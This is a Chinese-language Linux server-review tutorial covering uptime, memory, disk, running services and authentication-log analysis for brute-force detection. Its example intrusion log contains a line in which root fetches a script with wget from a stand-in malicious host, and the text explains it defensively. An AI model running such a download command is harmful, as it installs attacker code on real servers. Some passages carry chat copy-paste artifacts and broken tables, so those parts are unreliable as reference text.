linux学习(五)(服务器审查,正常运行时间负载,身份验证日志,正在运行的服务,评估可用内存)
服务器审查
在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置,以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。
Linux 以其稳定性和安全性而闻名,已成为全球许多网络和服务器后端的主打产品。根据您使用的发行版,Linux 提供了多种工具和命令来执行全面的服务器审查。
# A command often used for showing memory information
free -m
# A command for showing disk usage
df -h
# A command for showing CPU load
uptime
系统管理员和 DevOps 专业人员定期进行服务器审查以确保服务器的最佳性能、安全性和可靠性是一项关键任务。
Linux 服务器审查
就像给服务器做“全身体检”——检查它的健康状况、安全漏洞和性能瓶颈,确保它稳定高效地工作。以下是通俗易懂的步骤和常用命令:
一、基础检查:看“生命体征”
就像测体温、血压,先看服务器的基本状态:
-
内存使用(查是否“贫血”):
free -m # 查看内存总量、已用、空闲(单位MB)
-
关键指标:
available
(可用内存)是否充足。
-
-
磁盘空间(查“胃容量”):
df -h # 查看各磁盘分区的使用情况(单位易读:GB/MB)
-
重点关注:
Use%
(使用率)超过 80% 需清理。
-
-
CPU 负载(查“心脏压力”):
uptime # 查看负载平均值(1/5/15分钟) top 或 htop # 实时监控CPU占用高的进程(按q退出)
-
负载解读:负载值 ≤ CPU核心数 为正常(如4核CPU负载≤4)。
-
二、安全审查:防“小偷入侵”
检查门锁(防火墙)、访客记录(日志)和可疑人员(用户账户):
-
用户账户检查(查“谁有钥匙”):
sudo less /etc/passwd # 查看所有用户 sudo less /etc/shadow # 查看用户密码状态(需权限) who # 查看当前登录用户 last # 查看登录历史
-
重点排查:陌生用户、空密码账户、root远程登录。
-
-
防火墙与端口(查“门窗是否关好”):
sudo ufw status # 查看防火墙状态(Ubuntu) sudo iptables -L -n -v # 查看详细防火墙规则(通用) ss -tuln # 查看所有监听端口(替代netstat)
-
风险端口:关闭不必要的端口(如默认的22端口可改为非标准)。
-
-
日志分析(查“监控录像”):
sudo tail -100 /var/log/auth.log # 查看认证日志(SSH登录记录) sudo journalctl -u sshd # 查看SSH服务日志(Systemd系统) grep "Failed" /var/log/auth.log # 过滤登录失败的记录(防暴力破解)
🔹 如何检测可疑攻击? 🔸 1️⃣ 统计失败登录次数: sh 复制 编辑 grep "Failed" /var/log/auth.log | wc -l 📌 作用:统计包含 "Failed" 的行数,即失败尝试次数。 🔍 如果失败次数异常多(比如几百次),可能是暴力破解! 🔸 2️⃣ 查看攻击来源 IP sh 复制 编辑 grep "Failed" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr 📌 作用: 解析 Failed password for ... from 192.168.1.100 这类日志 提取攻击 IP 统计每个 IP 出现次数,按次数降序排序 🌟 示例输出 复制 编辑 100 203.0.113.42 50 192.168.1.100 🔍 如果某个 IP 失败次数异常多,说明它在恶意尝试登录! 🔸 3️⃣ 阻止攻击 IP 如果发现恶意 IP,可以用 iptables 或 fail2ban 进行封锁: sh 复制 编辑 sudo iptables -A INPUT -s 203.0.113.42 -j DROP 📌 作用:阻止 203.0.113.42 访问服务器(彻底封锁)。 🔹 总结 命令 作用 grep "Failed" /var/log/auth.log 查找登录失败的记录 `grep "Failed" /var/log/auth.log wc -l` `grep "Failed" /var/log/auth.log awk '{print $(NF-3)}' sudo iptables -A INPUT -s <IP> -j DROP 封锁攻击 IP 🔹 结论 ✅ 这条 grep 命令是检测服务器是否遭遇 SSH 暴力破解 的第一步。 ✅ 后续可以结合 fail2ban 自动封锁恶意 IP,提高服务器安全性。
三、性能调优:治“慢性病”
检查拖慢服务器的“慢性问题”:
-
进程与服务(查“谁在吃资源”):
ps aux --sort=-%cpu | head # 按CPU使用率排序进程 systemctl list-units --type=service # 查看所有服务
-
优化建议:停用不必要的服务(如旧版本MySQL、多余容器)。
-
-
定时任务(查“自动任务”):
crontab -l # 查看当前用户的定时任务 ls /etc/cron.* # 查看系统级定时任务
-
风险点:异常任务(如挖矿脚本)。
-
-
内核参数(查“身体机能”):
sysctl -a | grep somaxconn # 查看TCP连接队列大小(示例)
-
常见优化:调整TCP缓冲区、文件打开数(需备份配置文件)。
-
四、备份与更新:打“疫苗”
确保系统安全和数据可恢复:
-
检查更新(打“补丁”):
sudo apt update && sudo apt upgrade # Debian/Ubuntu sudo yum update # CentOS/RHEL
-
定期更新:修复安全漏洞,升级软件版本。
-
-
验证备份(查“保险柜”):
ls -l /backup/ # 查看备份文件 crontab -l | grep backup # 检查备份任务是否设置
-
关键点:备份是否完整、能否恢复。
-
五、自动化工具推荐
-
安全扫描:
lynis audit system
(开源安全审计工具)。 -
监控告警:
Prometheus
+Grafana
(监控CPU、内存、磁盘)。 -
日志分析:
ELK
(Elasticsearch, Logstash, Kibana)。
举个实际例子
假设服务器变慢,按以下步骤排查:
-
快速诊断:
uptime; free -m; df -h; top
-
发现磁盘满了 → 用
du -sh /* | sort -rh | head
找大文件。
-
-
检查登录记录:
uptime; free -m; df -h; top
-
发现陌生IP → 封锁IP,加强SSH密钥登录。
-
通过定期“体检”,你的服务器会变得更健康、更安全!🚀
正常运行时间负载
在管理 Linux 服务器时,一个值得密切关注的关键指标是“正常运行时间”。Linux 中的命令提供有关系统在不关闭或重新启动的情况下运行了多长时间的信息,以及系统负载平均值。uptime
系统负载平均值是一个重要的指标,它说明了计算机系统执行的计算工作量。它反映了有多少进程正在排队等待获取 CPU 时间。系统负载平均值通常显示 1 分钟、5 分钟和 15 分钟的持续时间。
通过持续分析 Linux 服务器上的正常运行时间和负载,管理员可以识别系统使用模式、诊断可能的性能问题并确定有效的容量规划策略。如果服务器的平均负载较高,则可能表明系统资源不足或配置错误,从而导致性能降低或系统无响应。
以下是该命令及其输出的示例:uptime
$ uptime
10:58:35 up 2 days, 20 min, 1 user, load average: 0.00, 0.01, 0.05
在上面的输出中,“2 days, 20 min” 告诉我们系统运行了多长时间,而 “0.00, 0.01, 0.05” 分别显示了系统在过去 1 分钟、5 分钟和 15 分钟内的平均负载。
uptime
是 Linux 中一个快速查看服务器健康状态的命令,它能告诉你两件关键事:服务器运行了多久和当前系统的“忙碌程度”。就像汽车的仪表盘,一眼就能看出是否需要“检修”!
命令输出示例
$ uptime
10:58:35 up 2天, 20分钟, 1用户, 平均负载: 0.00, 0.01, 0.05
翻译成大白话:
-
10:58:35:现在是上午10点58分35秒(系统时间)。
-
up 2天, 20分钟:服务器已经连续运行了2天零20分钟没重启。
-
1用户:当前有1个用户登录(比如通过SSH)。
-
平均负载: 0.00, 0.01, 0.05:过去1分钟、5分钟、15分钟的“负载指数”。
“平均负载”通俗解释
你可以把负载(Load Average)想象成超市收银台的排队情况:
-
负载值 = 正在结账的顾客 + 排队等待的顾客。
-
假设服务器是4个收银台(4核CPU):
-
负载 ≤4:顾客来了能立刻结账,无需排队(健康)。
-
负载 >4:开始排队,数值越大队伍越长(可能卡顿)。
-
-
三个数值的意义:
-
0.00
(1分钟负载):刚刚的排队情况(最敏感,可能突发高峰)。 -
0.01
(5分钟负载):短期的平均排队情况。 -
0.05
(15分钟负载):长期的趋势(更稳定)。
-
如何判断负载是否过高?
-
单核CPU:负载超过1.0 表示过载。
-
4核CPU:负载超过4.0 表示满负荷。
-
举例:
-
负载: 3.50, 2.10, 0.80
(4核CPU):-
最近1分钟负载3.5 → 当前较忙,但未超4核能力。
-
过去15分钟负载0.8 → 长期较空闲。
-
-
负载高的常见原因
-
CPU密集型任务:代码死循环、大量计算。
-
磁盘I/O过高:频繁读写大文件、数据库查询慢。
-
内存不足:频繁交换内存到磁盘(SWAP)。
-
大量网络请求:DDoS攻击、高并发访问。
下一步操作建议
-
快速定位问题:
top # 查看实时进程(按P按CPU排序,按M按内存排序) htop # 更友好的交互式监控工具(需安装) iostat -x 1 # 查看磁盘IO情况(%util接近100%表示磁盘满负荷)
(htop界面示例:红框标出高负载进程) -
针对性解决:
-
CPU高:结束异常进程(
kill 进程ID
)、优化代码逻辑。 -
磁盘IO高:减少日志输出、升级SSD、检查数据库索引。
-
内存不足:关闭不需要的服务、增加物理内存、优化程序内存泄漏。
-
实际案例
场景:负载突然飙升至 8.00
(4核CPU服务器)。
排查:
-
用
top
发现一个python
进程占用 200% CPU(表示占满2个核)。 -
检查发现是爬虫程序死循环 → 优化代码或限制资源。
-
负载降至
2.00
,恢复健康。
通过 uptime
快速判断服务器压力,结合其他工具定位问题,就像医生用体温计+听诊器快速诊断病情一样高效! 🚑
身份验证日志
在处理 Linux 服务器及其维护时,需要定期审查的最关键组件之一是身份验证日志。这些日志通常位于 /var/log/auth.log(对于基于 Debian 的发行版)或 /var/log/secure(对于 Red Hat 和 CentOS)中,记录服务器上发生的所有与身份验证相关的事件和活动。其中包括系统登录、密码更改和发出的 sudo 命令等。
身份验证日志是监控和分析 Linux 服务器安全性的宝贵工具。它们可以指示暴力登录攻击、未经授权的访问尝试和任何可疑行为。定期分析这些日志是确保服务器安全性和数据完整性的一项基本任务。
以下是如何使用命令查看身份验证日志的最后几个条目的示例:tail
tail /var/log/auth.log
熟悉阅读和理解身份验证日志,因为这是确保服务器安全的重要方法。
Linux 身份验证日志
就像服务器的“安全监控录像”,详细记录了谁在什么时候、以什么方式登录过系统,以及做了哪些需要权限的操作。它是排查黑客入侵、追踪异常行为的“破案神器”!以下是通俗解读:
一、日志文件在哪?
-
Debian/Ubuntu:
/var/log/auth.log
-
RedHat/CentOS:
/var/log/secure
-
查看最新日志(实时监控):
sudo tail -f /var/log/auth.log # 实时滚动显示最新日志(按Ctrl+C退出)
二、日志里记录了什么?
1️⃣ SSH 登录记录
-
登录成功:
May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2
-
关键信息:用户
root
从 IP192.168.1.100
通过密码登录成功。
-
-
登录失败:
May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2
-
危险信号:非法用户
hacker
从203.0.113.5
尝试密码登录失败!
-
2️⃣ sudo 命令记录
-
用户提权操作:
May 25 15:00:00 server sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
-
解读:用户
alice
用sudo
以root
身份执行了apt update
。
-
3️⃣ 用户账户变更
-
创建/删除用户:
May 25 16:00:00 server useradd[2345]: new user: name=test, UID=1001, GID=1001 May 25 16:05:00 server userdel[3456]: delete user 'test'
-
监控重点:非管理员创建的未知用户可能是后门账户!
-
三、如何快速分析日志?
1️⃣ 找“暴力破解”攻击
-
统计某个 IP 的失败登录次数:
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr # 输出示例: # 100 203.0.113.5 # 2 192.168.1.100
-
结果解读:IP
203.0.113.5
尝试了 100 次密码,极可能是攻击者!
-
2️⃣ 检查可疑的 sudo 操作
-
查看所有 sudo 提权记录:
grep "sudo:" /var/log/auth.log
3️⃣ 追踪用户登录历史
-
查看所有成功登录记录:
grep "Accepted" /var/log/auth.log
四、安全加固建议
-
封禁暴力IP:
sudo fail2ban-client status sshd # 查看被禁IP(需安装fail2ban) sudo iptables -A INPUT -s 203.0.113.5 -j DROP # 手动封禁IP
-
禁用密码登录,改用SSH密钥:
# 修改SSH配置 /etc/ssh/sshd_config PasswordAuthentication no PermitRootLogin no
-
设置日志监控告警(如用
logwatch
或ELK
堆栈)。
实际案例:发现入侵痕迹
日志片段:
May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22
May 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22
May 25 03:05:00 server sudo: root : TTY=pts/0 ; COMMAND=/usr/bin/wget http://恶意网站.com/x.sh
分析:
-
攻击者从
203.0.113.5
暴力破解了 root 密码。 -
登录后下载了可疑脚本
x.sh
(可能是木马)。
应对:立即封锁IP,检查系统后门,重置root密码!
通过定期“翻看”这些日志,你就像服务器的保安队长,能第一时间揪出可疑分子!🔍
正在运行的服务
Linux 服务器因其稳定性和灵活性而广受欢迎,这些因素使它们成为企业和组织在管理各种服务时的首选。在 Linux 服务器下运行的服务范围从 Web 服务到数据库服务、DNS 服务器、邮件服务器等。
作为 Linux 系统管理员,定期查看这些正在运行的服务以管理资源、检查其状态和解决问题,从而确保服务器的运行状况和性能非常重要。
Linux 有多种工具可以实现此目的,例如:、、 和 。systemctl
service
netstat
ss
lsof
例如,该命令在 Linux 系统上广泛使用,用于列出所有正在运行的服务:systemctl
systemctl --type=service
此命令将显示所有活动服务的列表及其当前状态。它是服务器管理的必需品,应该成为任何 Linux 系统管理员工具箱的一部分。
在 Linux 服务器中,**“正在运行的服务”**就像一台多功能机器上的各种“工作模块”——比如负责网站服务的“模块”、管理数据库的“模块”、处理邮件的“模块”等。作为管理员,你需要知道哪些模块正在运行、是否健康,以及它们占用了多少资源。以下是通俗易懂的检查方法:
一、查看服务列表:用“服务遥控器”
1. systemctl
命令(主流工具,适用于大多数新系统)
-
列出所有正在运行的服务:
systemctl list-units --type=service --state=running
输出示例:
UNIT LOAD ACTIVE SUB DESCRIPTION nginx.service loaded active running Nginx Web Server mysql.service loaded active running MySQL Database ssh.service loaded active running OpenSSH Server
-
关键信息:
ACTIVE
显示服务状态(active
表示正常运行)。
-
-
检查某个服务的详细状态(如Nginx):
systemctl status nginx
输出示例:
● nginx.service - Nginx Web Server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days ago Main PID: 1234 (nginx) CGroup: /system.slice/nginx.service ├─1234 nginx: master process /usr/sbin/nginx └─1235 nginx: worker process
-
关注点:
Active
(运行状态)、Main PID
(进程ID)、日志片段。
-
2. service
命令(旧系统兼容工具,操作更简单)
-
列出所有服务(仅显示部分):
service --status-all
输出示例:
[ + ] nginx [ - ] mysql [ ? ] docker
-
符号解读:
+
表示运行中,-
表示已停止,?
表示状态未知。
-
二、检查网络服务:用“网络监控器”
1. ss
或 netstat
命令(查看服务监听的端口)
-
列出所有监听端口的服务:
ss -tulnp # 推荐使用(更高效) # 或 netstat -tulnp # 传统命令(逐渐被ss取代)
输出示例:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1234,fd=6)) tcp LISTEN 0 128 127.0.0.1:3306 0.0.0.0:* users:(("mysqld",pid=5678,fd=10))
-
关键信息:
-
0.0.0.0:80
→ Nginx 在 80 端口监听(提供 Web 服务)。 -
127.0.0.1:3306
→ MySQL 只允许本机访问数据库(更安全)。
-
-
2. lsof
命令(查看服务打开的文件/端口)
-
查看某个服务(如Nginx)使用的资源:
sudo lsof -p $(pgrep nginx) # 需安装 lsof
输出示例:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME nginx 1234 root cwd DIR 253,1 4096 2 / nginx 1234 root txt REG 253,1 1160328 1234 /usr/sbin/nginx nginx 1234 root 6u IPv4 12345 0t0 TCP *:http (LISTEN)
-
解读:可以看到 Nginx 的进程打开了哪些文件、监听了哪些端口。
-
三、管理服务的常用操作
1. 启动/停止/重启服务
sudo systemctl start nginx # 启动
sudo systemctl stop nginx # 停止
sudo systemctl restart nginx # 重启
2. 禁止服务开机自启
sudo systemctl disable nginx
3. 检查服务是否开机自启
systemctl is-enabled nginx
四、实际场景案例
问题:发现服务器 8080 端口被未知服务占用,如何排查?
-
查看监听 8080 端口的服务:
ss -tulnp | grep ':8080' # 输出:users:(("mystery",pid=9999,fd=3))
-
根据 PID 查找服务名:
ps -p 9999 -o comm= # 输出:mystery-service
-
停止并禁用该服务:
sudo systemctl stop mystery-service sudo systemctl disable mystery-service
五、总结
-
定期检查服务:关闭不必要的服务,节省资源、提升安全。
-
重点关注:
-
陌生服务(可能是恶意软件)。
-
监听在公网 IP 的服务(如
0.0.0.0:3306
可能暴露数据库)。
-
-
工具选择:
-
快速概览用
systemctl
,网络分析用ss
,深度排查用lsof
。
-
掌握这些命令,你就能像“服务器医生”一样,随时诊断服务的健康状态! 🩺
评估可用内存
在 Linux 环境中运行多个应用程序时,持续跟踪系统运行状况对于平稳运行至关重要。在服务器检查过程中评估可用内存是系统管理员的常见做法。这涉及使用 Linux 提供的各种命令行工具,例如 、 和 。这些可以帮助监控内存使用情况和性能指标,确保系统不会过载,并为重要应用程序提供足够的资源。free
vmstat
top
例如,该命令给出了总体内存使用情况的摘要,包括总已用内存和可用内存、交换内存和缓冲区/缓存内存。下面是一个示例:free
$ free -h
total used free shared buff/cache available
Mem: 15Gi 10Gi 256Mi 690Mi 5.3Gi 4.2Gi
Swap: 8.0Gi 1.3Gi 6.7Gi
在此输出中,'-h' 选项用于以人类可读的格式显示结果。了解 Linux 服务器中的内存使用状态有助于保持最佳服务器性能并解决任何潜在问题
free
是 Linux 中一个查看内存使用情况的命令,可以简单理解为“内存体检报告”。它能告诉你:
内存还剩多少?被谁用了?是否快用光了?
就像手机里的“存储空间”功能,帮你判断是否需要清理垃圾或升级硬件!
用 free -h
看内存(人类友好模式)
$ free -h
total used free shared buff/cache available
Mem: 15Gi 10Gi 256Mi 690Mi 5.3Gi 4.2Gi
Swap: 8.0Gi 1.3Gi 6.7Gi
通俗解释各部分含义:
-
Mem(物理内存):
-
total(总内存):15Gi → 服务器装了 15G 内存条。
-
used(已用):10Gi → 被程序直接吃掉的内存(如运行中的网站、数据库)。
-
free(空闲):256Mi → 完全没被使用的内存(看着少,但别慌!)。
-
buff/cache(缓存):5.3Gi → 系统借来当临时仓库的内存(存磁盘读写数据,不够时可快速释放)。
-
available(实际可用):4.2Gi → 真正还能用的内存 ≈ free + buff/cache 可释放部分。
-
-
Swap(交换内存):
-
total:8Gi → 硬盘上划出的虚拟内存(速度慢,应急用)。
-
used:1.3Gi → 正在使用的虚拟内存(如果这个值持续很高,说明物理内存不足了!)。
-
如何判断内存是否够用?
-
重点看
available
列:-
4.2Gi 表示当前还能支撑新程序运行的内存。
-
如果
available
接近 0,说明内存快耗尽了,服务器可能会卡顿甚至崩溃!
-
-
Swap 使用情况:
-
少量使用 Swap(如 10% 以内)是正常的。
-
Swap 使用量持续增长 → 物理内存不足,需优化程序或加内存条!
-
下一步操作建议
✅ 作用:
📌 示例输出(部分字段解释)
plaintext
复制编辑
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld
字段 | 含义 |
---|---|
USER | 进程所属用户 |
PID | 进程 ID |
%CPU | CPU 占用率 |
%MEM | 内存占用率 |
VSZ | 进程占用的虚拟内存(KB) |
RSS | 进程占用的物理内存(KB) |
TTY | 终端设备 |
STAT | 进程状态 |
START | 进程启动时间 |
TIME | 进程累计 CPU 使用时间 |
COMMAND | 进程的命令 |
🔹 2️⃣ --sort=-%mem
—— 按内存使用率降序排序
sh
复制编辑
--sort=-%mem
-
释放缓存(临时救急):
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches # 清理缓存(不影响程序运行)
📌 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 详解 该命令用于清理 Linux 系统的缓存,但不会影响正在运行的程序。 🔹 1️⃣ sync —— 确保数据写入磁盘 ✅ 作用:sync 命令会强制将所有待写入磁盘的数据(缓存中的数据)真正写入磁盘,确保数据不会因为清理缓存而丢失。 🔹 2️⃣ echo 3 —— 生成缓存清理指令 ✅ 作用:echo 命令用于输出 3,这里 3 是一个指令参数,用于通知 Linux 清除所有类型的缓存。 数值 作用 1 只清除 页缓存(Page Cache) 2 只清除 目录项和 inode 缓存 3 清除所有缓存(推荐使用) 🔹 3️⃣ |(管道)—— 连接 echo 和 tee echo 3 | sudo tee /proc/sys/vm/drop_caches ✅ 作用: echo 3 生成指令 | 管道符:将 echo 3 的输出传递给 tee 命令 🔹 4️⃣ sudo tee /proc/sys/vm/drop_caches —— 执行缓存清理 sudo tee /proc/sys/vm/drop_caches ✅ 作用: sudo —— 以 超级用户权限 执行(普通用户无权修改 /proc/sys/vm/drop_caches)。 tee —— 既输出内容到终端,也写入文件: /proc/sys/vm/drop_caches 是 Linux 内核参数文件,写入 3 之后,系统会执行缓存清理。 tee 作用类似于 >,但可以同时显示和写入文件,> 直接写入而不显示。 🔹 5️⃣ sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 总结 ✅ 完整流程: sync 确保所有数据写入磁盘,防止未保存数据丢失。 echo 3 生成清理指令。 | 把指令传递给 tee。 sudo tee /proc/sys/vm/drop_caches 清理所有缓存。 🔹 6️⃣ 注意事项 📌 不会影响正在运行的程序: 该命令仅清理缓存,不会影响应用程序的正常运行。 清理缓存后,系统可能会变慢,因为需要重新加载数据到缓存。 📌 适用于哪些场景? 释放内存:如果 Linux 系统长时间运行,占用大量缓存,可以手动释放缓存。 测试性能:在进行性能测试时,希望得到不受缓存影响的结果。 查看真实的可用内存:缓存占用内存时,可释放后查看真实的空闲内存。 🔹 7️⃣ 扩展:如何验证缓存清理? 📌 清理缓存前后,查看内存占用 free -h # 查看内存使用情况 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches free -h # 再次查看变化 🔹 清理前:cached 部分较高 🔹 清理后:cached 变少,free 变多 ✅ 🔹 8️⃣ 更安全的写法 为了防止错误,可以使用更安全的方法: sudo sh -c "echo 3 > /proc/sys/vm/drop_caches" ✅ 区别: sudo 只影响 sh -c 里的 echo,避免 tee 额外权限问题。 🔹 9️⃣ 总结 命令部分 作用 sync 将缓存数据写入磁盘,防止数据丢失 echo 3 生成清理指令(3 代表清理所有缓存) ` ` sudo tee /proc/sys/vm/drop_caches 执行缓存清理,释放内存 💡 这个命令适用于手动释放缓存,特别是在长时间运行的 Linux 服务器上。
-
揪出“内存大户”:
top # 按 M 按内存排序(找占用高的进程) htop # 更友好的界面(需安装) ps aux --sort=-%mem | head # 列出前10内存消耗进程
ps (Process Status,进程状态) 是 Linux 用于查看进程信息的命令。
aux 选项组合:
a (All Users) → 显示所有用户的进程(不仅限于当前用户)。
u (User Format) → 以用户友好的格式显示,包括 CPU、内存、进程名等信息。
x (Including Daemons) → 显示无终端控制的进程(如后台服务)。
--sort=-%mem:按 %MEM 字段(内存占用)降序排序(从高到低)。
- 号表示降序(不加 - 号则是升序)。
长期优化:
关闭不需要的服务(如多余容器、测试环境)。
优化程序内存泄漏(如 Java 的堆内存设置)。
升级物理内存(简单粗暴但有效)。
场景:available
只剩 500MB,Swap 用了 6Gi。
分析:
-
物理内存严重不足,系统频繁使用 Swap(速度慢,性能差)。
解决:
-
用
top
发现一个java
进程占用了 8Gi 内存。 -
联系开发团队优化代码或调整 JVM 内存参数。
-
临时重启该服务释放内存,长期计划加内存条。
通过 free -h
,你就像给服务器做了个“血常规”,一眼看出内存健康状态! 🩺